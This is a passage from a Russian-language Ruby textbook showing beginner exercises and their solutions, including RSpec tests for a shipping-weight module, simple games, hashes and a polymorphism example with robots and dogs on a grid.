expect(soccer_ball_weight).to eq(410)
expect(Shipment.total_weight(soccer_ball_count: 1)).to eq(439)
$ pry
> a = "XXX"
> b = "XXX"
> a == b
=> true
> a.__id__ == b.__id__
=> false
$ rspec -f d
Shipment
should work without options
should calculate shipment with only one item
should calculate shipment with multiple items
Все это хорошо, но выше был дан пример тестирования «статического» метода,
или метода класса (точнее модуля, что почти одно и то же), но не экземпляра.
Заметьте, что мы нигде не создавали никакого объекта, а вызывали класс на-
прямую. В случае наличия объекта для тестирования все становится намного
интереснее.
Задание 1
Попробуйте заменить 1420 выше на 1421 и посмотрите, что произой-
дет (тест не должен сработать).
Задание 2
Код файла shipment.rb был изменен: если в метод «total_weight» не
переданы аргументы, генерируется ошибка (также говорят «выбрасы-
вается исключение»):
module Shipment
module_function
def total_weight(options={})
raise "Can't calculate weight with empty options" if options.empty?
a = options[:soccer_ball_count] || 0
b = options[:tennis_ball_count] || 0
c = options[:golf_ball_count] || 0
(a * 410) + (b * 58) + (c * 45) + 29
end
end
Измените тест таким образом, чтобы тест проверял, что ошибка на самом деле
генерируется.
Часть 4. Введение в ООП 402
Заключение
Решения задач
Задание
Решение
Задание
Решение
1. ls - lah
2. mkdir my_directory
Часть 4. Введение в ООП 404
3. ls -lah
4. echo blabla > example.txt (creating a sample file)
5. cp example.txt my_directory
6. ls -lah my_directory
Задание
Решение
Задание
Решение
1. touch file.txt
2. ls -lah
3. echo Walt > file.txt
4. cat file.txt
Задание
Решение
18 gets
19 puts "What note is on the 9th fret?" # C#
20 gets
21 puts "What note is on the 10th fret?" # D
22 gets
23 puts "What note is on the 11th fret?" # D#
24 gets
25 puts "What note is on the 12th fret?" # E
26 gets
Задание
Решение
Вывод:
Задание
Известно, что стоимость дома — 500 тысяч долларов. Человек берет дом в
рассрочку на 30 лет. Чтобы выплатить сумму за 30 лет, нужно платить 16
666 долларов в год (это легко посчитать, разделив 500 тысяч на 30). Написать
программу, которая для каждого года выводит сумму, которую осталось вы-
платить.
Решение
1 price = 500_000
2
3 30.times do |n|
4 puts "Year #{n}, left to pay: #{price - n * 16_666}"
5 end
Вывод:
Задание
Решение
Часть 4. Введение в ООП 409
1 price = 500_000
2 interest = 0.04
3 annual_payment = 16_666
4
5 30.times do |n|
6 remaining = price - n * annual_payment
7 interest_payment = remaining * interest
8 total = annual_payment + interest_payment
9
10 puts "Year #{n}, left to pay: #{remaining}. You are paying #{annual_p\
11 ayment} plus #{interest_payment} of interest (total is #{total})"
12 end
Вывод:
1 Year 0, left to pay: 500000. You are paying 16666 plus 20000.0 of inter\
2 est (total is 36666.0)
3 Year 1, left to pay: 483334. You are paying 16666 plus 19333.36 of inte\
4 rest (total is 35999.36)
5 Year 2, left to pay: 466668. You are paying 16666 plus 18666.72 of inte\
6 rest (total is 35332.72)
7 Year 3, left to pay: 450002. You are paying 16666 plus 18000.08 of inte\
8 rest (total is 34666.08)
9 Year 4, left to pay: 433336. You are paying 16666 plus 17333.44 of inte\
10 rest (total is 33999.44)
11 Year 5, left to pay: 416670. You are paying 16666 plus 16666.8 of inter\
12 est (total is 33332.8)
13 Year 6, left to pay: 400004. You are paying 16666 plus 16000.16 of inte\
14 rest (total is 32666.16)
15 Year 7, left to pay: 383338. You are paying 16666 plus 15333.52 of inte\
Часть 4. Введение в ООП 410
Задание
Таблица 1:
Выражение: 0 == 0 && 2 + 2 == 4
Результат:
Таблица 2:
Выражение: 1 == 2 && 2 == 1
Результат:
Таблица 3:
Часть 4. Введение в ООП 412
Выражение: 1 == 2 || 2 == 1
Результат:
Решение
1. true
2. false
3. false
Задание
Решение
1 puts "Login:"
2 login = gets.chomp
3 puts "Password:"
4 password = gets.chomp
5
6 if login == "admin" && password == "12345"
7 puts "Granted access to online banking"
8 else
9 puts "Access denied"
10 end
Часть 4. Введение в ООП 413
Задание
Решение
Вывод:
1 $ ruby app.rb
2 Width (for example, type 5 for 5 meters):
3 1000
4 Length (for example, type 20 for 20 meters):
5 1100
6 Area is 1100000 square meters
7 Price for the land is $27500000
Задание
Решение
Часть 4. Введение в ООП 415
1 number = rand(1..1_000_000)
2 print 'Hi! I picked the number from 1 to 1 million, try to guess it: '
3
4 loop do
5 input = gets.to_i
6
7 if input == number
8 puts 'You guessed it!'
9 exit
10 else
11 if number > input
12 print 'Nope, the number is greater than that, try again: '
13 else
14 print 'Nope, the number is less than that, try again: '
15 end
16 end
17 end
Вывод:
1 $ ruby app.rb
2 ruby app.rb
3 Hi! I picked the number from 1 to 1 million, try to guess it: 500000
4 Nope, the number is less than that, try again: 250000
5 Nope, the number is greater than that, try again: 350000
6 Nope, the number is greater than that, try again: 400000
7 Nope, the number is greater than that, try again: 450000
8 Nope, the number is greater than that, try again: 475000
9 Nope, the number is greater than that, try again: 490000
10 Nope, the number is greater than that, try again: 495000
Часть 4. Введение в ООП 416
Задание
Решение
Часть 4. Введение в ООП 417
1 loop do
2 print "/\r"
3 sleep 0.1
4
5 print "-\r"
6 sleep 0.1
7
8 print "\\\r"
9 sleep 0.1
10
11 print "|\r"
12 sleep 0.1
13 end
Задание
Решение
⁸³https://goo.gl/hpk49x
Часть 4. Введение в ООП 418
1 def animated_rand
2 value = rand(0..5)
3
4 0.upto(value) do |num|
5 print "#{num}\r"
6 sleep 0.3
7 end
8 puts
9
10 value
11 end
12
13 print "What's your age: "
14 age = gets.to_i
15 if age < 18
16 puts 'Sorry, but you should be at least 18 to play'
17 exit
18 end
19
20 balance = 20
21 loop do
22 puts 'Press Enter to pull the handle...'
23 gets
24
25 x = animated_rand
26 y = animated_rand
27 z = animated_rand
28
29 puts "Result: #{x} #{y} #{z}"
30
Часть 4. Введение в ООП 419
31 if x == 0 && y == 0 && z == 0
32 balance = 0
33 puts 'You lost your money'
34 elsif x == 1 && y == 1 && z == 1
35 balance += 10
36 puts 'You won $10'
37 elsif x == 2 && y == 2 && z == 2
38 balance += 20
39 puts 'You won $20'
40 else
41 balance -= 0.5
42 puts 'You lost 50 cents'
43 end
44
45 puts "Your balance is #{balance} dollars"
46 end
Задание
[
[2, 2, 2],
[5, 5, 5]
]
Решение
Часть 4. Введение в ООП 420
или
1 Array.new(5) do
2 Array.new(4, rand(1..5))
3 end
или
1 Array.new(5) do
2 random = rand(1..5)
3 Array.new(4) do
4 random
5 end
6 end
Задание
Решение
Задание
Решение
Задание
arr = [
['a', 'b', 'c'],
['d', 'e', 'f'],
['g', 'h', 'i']
]
Решение
1 arr = [
2 ['a', 'b', 'c'],
3 ['d', 'e', 'f'],
4 ['g', 'h', 'i']
5 ]
6
7 print arr[0][0]
8 print arr[1][1]
9 print arr[2][2]
10
Часть 4. Введение в ООП 422
11 print arr[0][2]
12 print arr[1][1]
13 print arr[2][0]
Задание
Решение
Задание
К вам обратился предприниматель Джон Смит. Джон говорит, что его бизнес
специализируется на создании телефонных номеров для рекламы. Они хотят
подписать с вами контракт, но прежде хотелось бы убедиться, что вы хороший
программист, можете работать с их требованиями и доставлять качествен-
ное программное обеспечение. Они говорят: у нас есть номера телефонов
с буквами. Например, для бизнеса по продаже матрасов существует номер
Часть 4. Введение в ООП 423
def phone_to_number(phone)
# ваш код тут...
end
Решение
16 %w(W X Y Z) # 9
17 ]
18
19 arr.each_with_index do |subarray, i|
20 subarray.each do |letter_candidate|
21 return i if letter == letter_candidate
22 end
23 end
24
25 # Nothing found, just return the letter
26 letter
27 end
28
29 def phone_to_number(phone)
30 phone.each_char do |letter|
31 print find_number_by_letter(letter)
32 end
33 end
34
35 phone_to_number('555MATRESS') # напечатает 5556287377
Задание
Решение
Часть 4. Введение в ООП 425
Задание
obj = {
soccer_ball: 410,
tennis_ball: 58,
golf_ball: 45
}
Решение
1 obj = {
2 soccer_ball: 410,
3 tennis_ball: 58,
4 golf_ball: 45
5 }
6
7 puts 'Golf ball weight on the Moon (grams):'
8 puts obj[:golf_ball] / 6
9
10 puts 'Soccer ball weight on the Moon (grams):'
11 puts obj[:soccer_ball] / 6
12
13 puts 'Tennis ball weight on the Moon (grams):'
14 puts obj[:tennis_ball] / 6
Часть 4. Введение в ООП 426
Задание
Решение
1 obj = {
2 soccer_ball: 410,
3 tennis_ball: 58,
4 golf_ball: 45
5 }
6
7 puts "***************"
8 puts "The Moon Store"
9 puts "***************"
10 puts
11
12 print 'How many golf balls are you willing to buy? '
13 golf_ball_cnt = gets.to_i
14
15 print 'How many soccer balls are you willing to buy? '
16 soccer_ball_cnt = gets.to_i
17
18 print 'How many tennis balls are you willing to buy? '
Часть 4. Введение в ООП 427
19 tennis_ball_cnt = gets.to_i
20
21 weight_on_earth = \
22 golf_ball_cnt * obj[:golf_ball] +
23 soccer_ball_cnt * obj[:soccer_ball] +
24 tennis_ball_cnt * obj[:tennis_ball]
25
26 puts "Total weight of all items on the Earth is #{(weight_on_earth.to_f\
27 / 1000)} kg or #{(weight_on_earth * 0.00220462)} lb"
28 puts "Total weight of all items on the Moon is #{(weight_on_earth.to_f \
29 / 1000 / 6)} kg or #{(weight_on_earth * 0.00220462 / 6)} lb"
Вывод:
1 $ ruby
2 ruby app.rb
3 ***************
4 The Moon Store
5 ***************
6
7 How many golf balls are you willing to buy? 1
8 How many soccer balls are you willing to buy? 2
9 How many tennis balls are you willing to buy? 3
10 Total weight of all items on the Earth is 1.039 kg or 2.29060018 lb
11 Total weight of all items on the Moon is 0.17316666666666666 kg or 0.38\
12 17666966666667 lb
Задание
Решение
1 {
2 client: "Герман Оскарович Блокчейн",
3 balance_usd: 123.45,
4 show_deposits: true,
5 transactions: [
6 { description: "Сапоги", type: :withdrawal, amou\
7 nt: 40 },
8 { description: "Зарплата (компания БЛИЖП)", type: :deposit, amou\
9 nt: 1000 },
10 { description: "Продажа ваучера", type: :deposit, amou\
11 nt: 300 },
12 { description: "Велосипед", type: :withdrawal, amou\
Часть 4. Введение в ООП 429
13 nt: 200 },
14 { description: "Протез для ноги бабушке", type: :withdrawal, amou\
15 nt: 100 },
16 ]
17 }
Задание
Решение
1 def show(info)
2 puts "Name: #{info[:client]}"
3 puts "Balance: $#{info[:balance_usd]}"
4 puts "Show deposits: #{info[:show_deposits]}"
5 puts
6
7 puts "Transactions:"
8
9 info[:transactions].each do |t|
10 next if !info[:show_deposits] && t[:type] == :deposit
11
12 puts "#{t[:description]}, #{t[:type]}, $#{t[:amount]}"
13 end
14 end
Часть 4. Введение в ООП 430
15
16 show({
17 client: "Герман Оскарович Блокчейн",
18 balance_usd: 123.45,
19 show_deposits: true,
20 transactions: [
21 { description: "Сапоги", type: :withdrawal, amou\
22 nt: 40 },
23 { description: "Зарплата (компания БЛИЖП)", type: :deposit, amou\
24 nt: 1000 },
25 { description: "Продажа ваучера", type: :deposit, amou\
26 nt: 300 },
27 { description: "Велосипед", type: :withdrawal, amou\
28 nt: 200 },
29 { description: "Протез для ноги бабушке", type: :withdrawal, amou\
30 nt: 100 },
31 ]
32 })
Вывод 1:
Вывод 2:
Задание
Решение
1 def f(sentence)
2 hash = Hash.new(0)
3
4 sentence.each_char do |ch|
5 hash[ch] += 1
6 end
7
8 hash
9 end
10
11 puts f('quick brown fox jumps over the lazy dog').inspect
1 def f(sentence)
2 sentence.split('').tally
3 end
4
5 puts f('quick brown fox jumps over the lazy dog').inspect
Вывод:
1 {"q"=>1, "u"=>2, "i"=>1, "c"=>1, "k"=>1, " "=>7, "b"=>1, "r"=>2, "o"=>4\
2 , "w"=>1, "n"=>1, "f"=>1, "x"=>1, "j"=>1, "m"=>1, "p"=>1, "s"=>1, "v"=>\
3 1, "e"=>2, "t"=>1, "h"=>1, "l"=>1, "a"=>1, "z"=>1, "y"=>1, "d"=>1, "g"=\
4 >1}
Обратите внимание, что в этом предложении четыре буквы “o” и семь пробе-
лов.
Часть 4. Введение в ООП 433
Задание
Дана программа:
25 фавита
26 puts f('quick brown fox jumps over the lazy dog')
Решение
Задание
{
"books": [
{
"id": 1,
"name": "Tom Sawyer and Huckleberry Finn",
},
{
"id": 2,
"name": "Vingt mille lieues sous les mers",
Часть 4. Введение в ООП 436
}
]
}
от
{
"books": {
"1": {
"name": "Tom Sawyer and Huckleberry Finn"
},
"2": {
"name": "Vingt mille lieues sous les mers"
}
}
}
Решение
Первый блок кода всегда определяет книги как массив независимых объектов,
например:
Часть 4. Введение в ООП 437
1 books = [
2 { ... },
3 { ... },
4 { ... }
5 ]
Т.к. книги представлены как массив, соблюдение порядка для этой структуры
данных всегда гарантировано. Другими словами, если мы добавили объекты
в определенном порядке, то в таком порядке они и остаются. Представьте, что
у нас есть миллион книг определенный следующим образом:
1 books = [
2 { isbn: '9783161484100', ... }, # 1st book
3 { isbn: '8372684193990', ... }, # 2nd book
4 ...
5 { isbn: '0388819938812', ... } # 1.000.000th book
6 ]
Задание
Решение
Часть 4. Введение в ООП 439
1 class Robot
2 # Accessors, so we can access coordinates from the outside
3 attr_accessor :x, :y
4
5 # Constructor, accepts hash. If not specified, empty hash will be use\
6 d.
7 # In hash we expect two parameters: initial coordinates of the robot.
8 # If not specified, will equal to zero by default.
9 def initialize(options={})
10 @x = options[:x] || 0
11 @y = options[:y] || 0
12 @num = options[:num] || 0
13 end
14
15 def right
16 return if @num.even?
17
18 self.x += 1
19 end
20
21 def left
22 return if @num.even?
23
24 self.x -= 1
25 end
26
27 def up
28 return if @num.odd?
29
30 self.y += 1
Часть 4. Введение в ООП 440
31 end
32
33 def down
34 return if @num.odd?
35
36 self.y -= 1
37 end
38 end
39
40 # Commander is something that moves a robot.
41 class Commander
42 # Issue a command to move a robot. Accepts robot object
43 # and sends it a random command.
44 def move(who)
45 m = [:right, :left, :up, :down].sample
46 who.send(m)
47 end
48 end
49
50 # Create commander object, we'll have only one commander
51 # in this example.
52 commander = Commander.new
53
54 # Array of ten robots, each robot has its own number from 0 to 9.
55 arr = []
56 10.times do |num|
57 arr << Robot.new(num: num)
58 end
59
60 # Infinite loop (hit ^C to stop the loop)
Часть 4. Введение в ООП 441
61 loop do
62 # Tricky way to clear the screen
63 puts "\e[H\e[2J"
64
65 # Draw the grid. It starts with -30 to 30 by X,
66 # and from 12 to -12 by Y
67 (12).downto(-12) do |y|
68 (-30).upto(30) do |x|
69 # Check if we have a robot with X and Y coordinates
70 found = arr.any? { |robot| robot.x == x && robot.y == y }
71
72 # Draw star if a robot was found. Dot otherwise.
73 if found
74 print '*'
75 else
76 print '.'
77 end
78 end
79
80 # Move to the next line on the screen.
81 puts
82 end
83
84 # Move each robot randomly.
85 arr.each do |robot|
86 commander.move(robot)
87 end
88
89 # Wait for half a second.
90 sleep 0.5
Часть 4. Введение в ООП 442
91 end
Задание
Решение
1 class Robot
2 # Accessors, so we can access coordinates from outside
3 attr_accessor :x, :y
4
5 # Constructor, accepts hash. If hash not specified, empty is used.
6 # We expect two parameters in hash: initial robot coordinates;
7 # if not specified, both will equal to zero.
8 def initialize(options={})
9 @x = options[:x] || 0
10 @y = options[:y] || 0
11 end
12
13 def right
14 self.x += 1
15 end
16
17 def left
18 self.x -= 1
19 end
Часть 4. Введение в ООП 443
20
21 def up
22 self.y += 1
23 end
24
25 def down
26 self.y -= 1
27 end
28
29 # New method, just a symbol we use for robots.
30 def label
31 '*'
32 end
33 end
34
35 # Dog class has the similar interface, some methods are empty below.
36 class Dog
37 # Accessors, so we can access coordinates from outside
38 attr_accessor :x, :y
39
40 # Constructor, accepts hash. If hash not specified, empty is used.
41 # We expect two parameters in hash: initial dog coordinates;
42 # if not specified, both will equal to zero.
43 def initialize(options={})
44 @x = options[:x] || 0
45 @y = options[:y] || 0
46 end
47
48 def right
49 self.x += 1
Часть 4. Введение в ООП 444
50 end
51
52 # Empty method, but it exists. When called does nothing. We need it
53 # to avoid "missing method" error.
54 def left
55 end
56
57 # Another empty method.
58 def up
59 end
60
61 def down
62 self.y -= 1
63 end
64
65 # New method, just a symbol we use for robots.
66 def label
67 '@'
68 end
69 end
70
71 # Comander class sends commands and moves robots and dogs.
72 # Note that THIS CLASS IS EXACTLY THE SAME AS IN PREVIOUS EXAMPLE.
73 class Commander
74 # Send command to move an object. Method accept object and sends
75 # it a random command.
76 def move(who)
77 m = [:right, :left, :up, :down].sample
78
79 # Polymorphism is happening here! We're sending command,
Часть 4. Введение в ООП 445
Задание
Исправьте программу: если все собаки дошли до правого или нижнего края
поля, выводить на экран «Win!».
Решение
1 class Robot
2 # Accessors, so we can access coordinates from outside
3 attr_accessor :x, :y
4
5 # Constructor, accepts hash. If hash not specified, empty is used.
6 # We expect two parameters in hash: initial robot coordinates;
7 # if not specified, both will equal to zero.
8 def initialize(options={})
9 @x = options[:x] || 0
10 @y = options[:y] || 0
11 end
12
13 def right
14 self.x += 1
15 end
16
17 def left
18 self.x -= 1
19 end
20
21 def up
22 self.y += 1
23 end
24
25 def down
26 self.y -= 1
27 end
28
29 # New method, just a symbol we use for robots.
30 def label
Часть 4. Введение в ООП 449
31 '*'
32 end
33 end
34
35 # Dog class has the similar interface, some methods are empty below.
36 class Dog
37 # Accessors, so we can access coordinates from outside
38 attr_accessor :x, :y
39
40 # Constructor, accepts hash. If hash not specified, empty is used.
41 # We expect two parameters in hash: initial dog coordinates;
42 # if not specified, both will equal to zero.
43 def initialize(options={})
44 @x = options[:x] || 0
45 @y = options[:y] || 0
46 end
47
48 def right
49 self.x += 1
50 end
51
52 # Empty method, but it exists. When called does nothing. We need it
53 # to avoid "missing method" error.
54 def left
55 end
56
57 # Another empty method.
58 def up
59 end
60
Часть 4. Введение в ООП 450
61 def down
62 self.y -= 1
63 end
64
65 # New method, just a symbol we use for robots.
66 def label
67 '@'
68 end
69 end
70
71 # Comander class sends commands and moves robots and dogs.
72 # Note that THIS CLASS IS EXACTLY THE SAME AS IN PREVIOUS EXAMPLE.
73 class Commander
74 # Send command to move an object. Method accept object and sends
75 # it a random command.
76 def move(who)
77 m = [:right, :left, :up, :down].sample
78
79 # Polymorphism is happening here! We're sending command,
80 # but we're unaware of receiver!
81 who.send(m)
82 end
83 end
84
85 # Create commander object. There is going to be only one commander.
86 commander = Commander.new
87
88 # Array of 10 robots and...
89 arr = Array.new(2) { Robot.new }
90
Часть 4. Введение в ООП 451
91 # ...one dog. Since dog implements the same interface, all objects
92 # in array will be kinda same.
93 arr.push(Dog.new(x: -12, y: 12))
94 arr.push(Dog.new(x: -12, y: 12)) # ADDING ONE MORE DOG
95 arr.push(Dog.new(x: -12, y: 12)) # AND ONE MORE
96 arr.push(Dog.new(x: -12, y: 12)) # AND ONE MORE
97
98 # Infinite loop goes here (press ^C to stop)
99 loop do
100 # Tricky way to clear the screen
101 puts "\e[H\e[2J"
102
103 # Draw the grid. It goes from -12 to 12 by X, and 12 to -12 by Y.
104 (12).downto(-12) do |y|
105 (-12).upto(12) do |x|
106 # Check if we have somebody with "x" and "y" coordinates.
107 somebody = arr.find { |somebody| somebody.x == x && somebody.y ==\
108 y }
109
110 # Print label if somebody present. Print dot otherwise.
111 if somebody
112 # POLYMORPHISM GOES HERE.
113 # We print "*" or "@", but we don't know what it is exactly,
114 # and we don't have to know.
115 print somebody.label
116 else
117 print '.'
118 end
119 end
120
Часть 4. Введение в ООП 452
Задание
См.раздел “RSpec”.
module Shipment
module_function
def total_weight(options={})
raise "Can't calculate weight with empty options" if options.empty?
a = options[:soccer_ball_count] || 0
b = options[:tennis_ball_count] || 0
c = options[:golf_ball_count] || 0
(a * 410) + (b * 58) + (c * 45) + 29
end
end
Измените тест таким образом, чтобы тест проверял, что ошибка на самом деле
генерируется.
Часть 4. Введение в ООП 454
Решение
1 require './lib/shipment'
2
3 describe Shipment do
4 it 'should calculate shipment with only one item' do
5 expect(Shipment.total_weight(soccer_ball_count: 1)).to eq(439)
6 expect(Shipment.total_weight(tennis_ball_count: 1)).to eq(87)
7 expect(Shipment.total_weight(golf_ball_count: 1)).to eq(74)
8 end
9
10 it 'should calculate shipment with multiple items' do
11 expect(
12 Shipment.total_weight(soccer_ball_count: 3, tennis_ball_count: 2,\
13 golf_ball_count: 1)
14 ).to eq(1420)
15 end
16
17 it 'should raise error when no options provided' do
18 expect { Shipment.total_weight }.to raise_error("Can't calculate we\
19 ight with empty options")
20 end
21 end
Вывод:
Часть 4. Введение в ООП 455
1 $ rspec -f d
2
3 Shipment
4 should calculate shipment with only one item
5 should calculate shipment with multiple items
6 should raise error when no options provided
7
8 Finished in 0.00478 seconds (files took 0.13979 seconds to load)
9 3 examples, 0 failures